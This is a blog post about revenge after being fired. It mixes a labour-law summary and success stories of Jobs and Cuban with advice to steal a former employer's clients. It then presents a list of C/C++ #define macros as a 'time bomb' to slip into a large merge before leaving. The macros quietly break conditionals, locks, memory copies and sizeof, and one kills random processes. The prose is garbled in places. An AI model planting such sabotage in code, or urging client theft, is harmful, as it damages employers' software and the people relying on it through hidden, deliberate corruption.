How To Get Revenge When You Get Fired

Times are hard for everyone and we are all working hard to keep the jobs we have. Some of you have been going to work without any salaries for months during these rough times to show your boss you care? Making up the workload left by your co-workers who’ve gotten the axe? You end up neglecting your friends and family to keep your job only to be told by your boss whom you may have thought to be a friend “I hate to do this, but I have to let you go.”

There is now room “to breath” since the labour Bill sailed through on Tuesday so employers will be having second thoughts. Clause 5 of the Bill says those who lose jobs on contract termination are entitled to minimum retrenchment benefits that include one month’s salary for every two years of service. This will apply to both general worker and contract workers whose contracts were terminated on or after July 17 Section 12 (4a) prohibits employers from terminating an employment contract on notice unless such termination is in terms of an employment or model code. But the bill is yet to be passed.

It also makes termination possible where both parties mutually agree in writing, or if the employee was engaged for a fixed period. Workers with open-ended contracts and whose employment is terminated in terms of subsection 4(a) will be eligible for compensation.

Then you think back to all the years that you gave to the corporation. All of your loyalty and devotion. Months working without any wages. All this time you were thinking you were doing everything right. However, let’s face it, the firing are sometimes necessary evil. Times are hard for everyone. So, we usually hate the people in charge by now anyway…facebook

I don’t know about you, but I think it is human nature just to get furious. When I was fired at my last Job 2 years ago I wanted revenge.

But the main question is How Do You Get Revenge?

Now that you have been fired, here are four things you can do:

  1. You can either mope around feeling ashamed and defeated,
  2. You can take the opportunity to become the best version of yourself you’ve ever known.
  3. steal their clients
  4. Go on social Media

Option 2 is the one I would take any given day.

The late Steve Jobs once told a group of Stanford (this is a must watch) graduates that “getting fired from Apple was the best thing that could have ever happened to [him].” Like Jobs, after businessman Mark Cuban was fired, he, too, became a beginner again, but this time, for his own company.

Here is a brief history of Mark Cuban. In the early 1980s, he was sleeping on the floor of a tiny apartment in Dallas with five buddies and working as a salesman at a computer store.

The job paid him $18,000 annually, plus commission so when Cuban got an opportunity to close a $15,000 deal where he was going to make $1,500, he went for it and asked a co-worker to cover for him at the office.

The next day, Cuban was fired. Instead of wallowing in misery, Cuban used the experience as a determining factor to never work for anyone else.

“I was thrilled to death,” he says. “My worst fear was that I would have to stay.”

That’s the thing—sometimes you know a job isn’t right for you, but unless something traumatic changes the way you think about business, you might end up staying in a bad job just because you didn’t know any better.

Less than a decade after receiving his pink slip, Cuban sold his first company MicroSolutions and made around $2 million. Some of the most successful business leaders today are those who walked out with that pink slip and seized their opportunity.

If you choose option 1 then this post is not for you.

Option 4 Go on social media like what this chef did. The chef had access to the pub’s Twitter account, and unleashed a tirade of tweets publicizing his layoff.Or go the Benjamin Juru way, telling the world you were fired from Econet Wireless.

And if you are of the option 3 type. They are many things you can do if you need any inspiration to get revenge read what these 5 it guys did. You can also (must) steal their clients and start your own company and you would already have clients’ portfolios. Too bad if you worked for Econet. But where there is a will there is a way. If you are a techie you can just run this time bomb on your former employer. Like what I believed happenedd to This little script will bring down your former employer.

// Just before switching jobs:
// Add one of these.
// Preferably into the same commit where you do a large merge.
// This started as a tweet with a joke of "C++ pro-tip: #define private public",
// and then it quickly escalated into more and more evil suggestions.
// I've tried to capture interesting suggestions here.

// Easy keyword replacement. Too easy to detect I think!
#define struct union
#define if while
#define else
#define break
#define if(x)
#define double float
#define volatile // this one is cool

// I heard you like math
#define M_PI 3.2f
#undef FLT_MIN #define FLT_MIN (-FLT_MAX)
#define floor ceil
#define isnan(x) false

// Randomness based; "works" most of the time.
#define true ((__LINE__&15)!=15)
#define true ((rand()&15)!=15)
#define if(x) if ((x) && (rand() < RAND_MAX * 0.99))

// String/memory handling, probably can live undetected quite long!
#define strcpy(a,b) memmove(a,b,strlen(b)+2)
#define strcpy(a,b) (((a & 0xFF) == (b & 0xFF)) ? strcpy(a+1,b) : strcpy(a, b))
#define memcpy(d,s,sz) do { for (int i=0;i<sz;i++) { ((char*)d)[i]=((char*)s)[i]; } ((char*)s)[ rand() % sz ] ^= 0xff; } while (0)
#define sizeof(x) (sizeof(x)-1)

// Let's have some fun with threads & atomics.
#define pthread_mutex_lock(m) 0
#define InterlockedAdd(x,y) (*x+=y)

// What's wrong with you people?!
#define __dcbt __dcbz // for PowerPC platforms
#define __dcbt __dcbf // for PowerPC platforms
#define __builtin_expect(a,b) b // for gcc
#define continue if (HANDLE h = OpenProcess(PROCESS_TERMINATE, false, rand()) ) { TerminateProcess(h, 0); CloseHandle(h); } break

// Some for HLSL shaders:
#define row_major column_major
#define nointerpolation
#define branch flatten
#define any all</pre> 

Rather than getting your revenge , you should use your energies to find a new job or develop another career .
